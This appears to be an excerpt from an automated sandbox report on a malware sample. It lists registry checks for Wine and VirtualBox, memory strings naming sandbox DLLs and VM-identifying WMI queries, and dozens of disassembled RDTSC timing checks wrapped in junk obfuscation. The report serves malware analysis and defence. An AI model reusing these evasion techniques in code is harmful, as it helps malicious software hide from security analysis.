Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002764001\70bf1463df.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002765001\e90585a72a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\IPBFM5C40FWD77UPB7GOCE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLP
Source: innoinstaller.exe, 00000009.00000002.2477259453.0000000002B26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL@\^Q
Source: innoinstaller.exe, 00000009.00000002.2477259453.00000000027C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EXPLORERJSBIEDLL.DLLKCUCKOOMON.DLLLWIN32_PROCESS.HANDLE='{0}'MPARENTPROCESSIDNCMDOSELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILUREPVERSIONQSERIALNUMBERSVMWARE\|VIRTUAL\|A M I\|XENTSELECT * FROM WIN32_COMPUTERSYSTEMUMANUFACTURERVMODELWMICROSOFT\|VMWARE\|VIRTUALXJOHNYANNAZXXXXXXXX

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AEED3B second address: AEED5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b jmp 00007F1690B6C800h 0x00000010 pop eax 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72955 second address: C72969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F1690C1AF96h 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72969 second address: C72991 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690B6C7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1690B6C808h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72991 second address: C729A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C729A7 second address: C729AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64EC3 second address: C64ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C64ECB second address: C64EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1690B6C806h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72132 second address: C7213D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7213D second address: C7214F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1690B6C7FAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C72295 second address: C722A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C722A9 second address: C722AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C722AE second address: C722EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA9h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1690C1AFA0h 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 jp 00007F1690C1AF96h 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C747FE second address: C74803 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74803 second address: AEED3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 5AADE45Ch 0x0000000e mov edx, 542D213Ah 0x00000013 push dword ptr [ebp+122D065Dh] 0x00000019 or dword ptr [ebp+122D1D56h], ecx 0x0000001f call dword ptr [ebp+122D3C64h] 0x00000025 pushad 0x00000026 pushad 0x00000027 movzx ecx, bx 0x0000002a mov eax, dword ptr [ebp+122D3120h] 0x00000030 popad 0x00000031 xor eax, eax 0x00000033 or dword ptr [ebp+122D1D70h], edi 0x00000039 jmp 00007F1690C1AFA4h 0x0000003e mov edx, dword ptr [esp+28h] 0x00000042 jmp 00007F1690C1AFA3h 0x00000047 mov dword ptr [ebp+122D2E5Ch], eax 0x0000004d pushad 0x0000004e jng 00007F1690C1AFA4h 0x00000054 xor edx, 78EE1964h 0x0000005a popad 0x0000005b mov esi, 0000003Ch 0x00000060 mov dword ptr [ebp+122D22D9h], edx 0x00000066 xor dword ptr [ebp+122D1D70h], esi 0x0000006c add esi, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D22D9h], eax 0x00000076 lodsw 0x00000078 or dword ptr [ebp+122D22D9h], esi 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 cmc 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cld 0x00000088 nop 0x00000089 push eax 0x0000008a pushad 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74871 second address: C748CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F1690B6C803h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F1690B6C7F8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov si, D027h 0x0000002a push 00000000h 0x0000002c push F66E7D87h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F1690B6C804h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C748CC second address: C748D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C748D2 second address: C748D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C748D7 second address: C74943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690C1AFA9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 099182F9h 0x00000013 mov cx, 344Fh 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F1690C1AF98h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 jp 00007F1690C1AF9Ch 0x00000039 xor esi, dword ptr [ebp+122D2EC4h] 0x0000003f push 00000000h 0x00000041 stc 0x00000042 push 00000003h 0x00000044 mov cl, 4Eh 0x00000046 call 00007F1690C1AF99h 0x0000004b push eax 0x0000004c push edx 0x0000004d push ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74943 second address: C74948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74948 second address: C7494D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7494D second address: C74980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jp 00007F1690B6C7FEh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F1690B6C802h 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74980 second address: C74987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74987 second address: C7499A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7499A second address: C7499E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7499E second address: C749CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add esi, 6D17052Dh 0x0000000e lea ebx, dword ptr [ebp+1245976Eh] 0x00000014 jmp 00007F1690B6C807h 0x00000019 xchg eax, ebx 0x0000001a push edi 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C749CE second address: C749DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74A9F second address: C74B07 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1690B6C7F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D30D4h] 0x00000013 push 00000000h 0x00000015 mov edx, dword ptr [ebp+122D1CC2h] 0x0000001b push C1755FFAh 0x00000020 jmp 00007F1690B6C7FEh 0x00000025 add dword ptr [esp], 3E8AA086h 0x0000002c sub dword ptr [ebp+122D22D9h], ecx 0x00000032 push 00000003h 0x00000034 jnl 00007F1690B6C7FCh 0x0000003a push 00000000h 0x0000003c mov ecx, esi 0x0000003e push 00000003h 0x00000040 add edx, 3C812C31h 0x00000046 push AE2EC485h 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jg 00007F1690B6C7F6h 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74B07 second address: C74B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74B0D second address: C74B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74C45 second address: C74C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74C4B second address: C74C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74C4F second address: C74D19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 5EAE1586h 0x00000012 mov ecx, dword ptr [ebp+122D2F3Ch] 0x00000018 push 00000003h 0x0000001a sub ch, 0000002Bh 0x0000001d push 00000000h 0x0000001f mov esi, ecx 0x00000021 push 00000003h 0x00000023 jmp 00007F1690C1AFA0h 0x00000028 push 4334E74Eh 0x0000002d push eax 0x0000002e jmp 00007F1690C1AFA6h 0x00000033 pop eax 0x00000034 add dword ptr [esp], 7CCB18B2h 0x0000003b call 00007F1690C1AF9Dh 0x00000040 jo 00007F1690C1AFA6h 0x00000046 pop edi 0x00000047 lea ebx, dword ptr [ebp+12459782h] 0x0000004d push 00000000h 0x0000004f push ebx 0x00000050 call 00007F1690C1AF98h 0x00000055 pop ebx 0x00000056 mov dword ptr [esp+04h], ebx 0x0000005a add dword ptr [esp+04h], 0000001Ch 0x00000062 inc ebx 0x00000063 push ebx 0x00000064 ret 0x00000065 pop ebx 0x00000066 ret 0x00000067 jmp 00007F1690C1AF9Bh 0x0000006c jmp 00007F1690C1AF9Ah 0x00000071 xchg eax, ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C74D19 second address: C74D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5AD08 second address: C5AD42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F1690C1AFB5h 0x0000000f pushad 0x00000010 jmp 00007F1690C1AFA7h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94463 second address: C9446A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9446A second address: C94477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F1690C1AF96h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C945CC second address: C945D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94742 second address: C94748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94748 second address: C9474E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94F82 second address: C94F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C94F8B second address: C94F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C950F7 second address: C950FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C950FB second address: C9511F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C806h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1690B6C7F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9511F second address: C95123 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95123 second address: C9512B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9512B second address: C95152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1690C1AFA9h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F1690C1AF96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95152 second address: C9517C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690B6C7F6h 0x00000008 jmp 00007F1690B6C802h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 je 00007F1690B6C7F6h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9517C second address: C9518C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1690C1AF96h 0x0000000a js 00007F1690C1AF96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C952EF second address: C952F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9556E second address: C95584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690C1AF9Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95584 second address: C955B1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1690B6C7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e jbe 00007F1690B6C7FEh 0x00000014 push ebx 0x00000015 jnp 00007F1690B6C7F6h 0x0000001b jbe 00007F1690B6C7F6h 0x00000021 pop ebx 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95710 second address: C95737 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 jp 00007F1690C1AF96h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnc 00007F1690C1AF96h 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95737 second address: C9573C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9573C second address: C95742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95742 second address: C95746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C95746 second address: C9574F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C960B4 second address: C960DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F1690B6C7FCh 0x0000000b jmp 00007F1690B6C805h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C960DE second address: C960E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98A3C second address: C98A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1690B6C805h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98A6A second address: C98A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C97AD4 second address: C97ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98BCC second address: C98BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98BD0 second address: C98BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F1690B6C7F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98BE4 second address: C98BE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9D311 second address: C9D321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jg 00007F1690B6C7F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA180F second address: CA1815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1815 second address: CA181B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA181B second address: CA1821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0FB1 second address: CA0FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F1690B6C7F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0FBE second address: CA0FDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1423 second address: CA1428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1428 second address: CA142D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA142D second address: CA143E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F1690B6C7F8h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1692 second address: CA169C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA169C second address: CA16A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA16A4 second address: CA16C4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690C1AFA8h 0x00000008 jmp 00007F1690C1AFA2h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
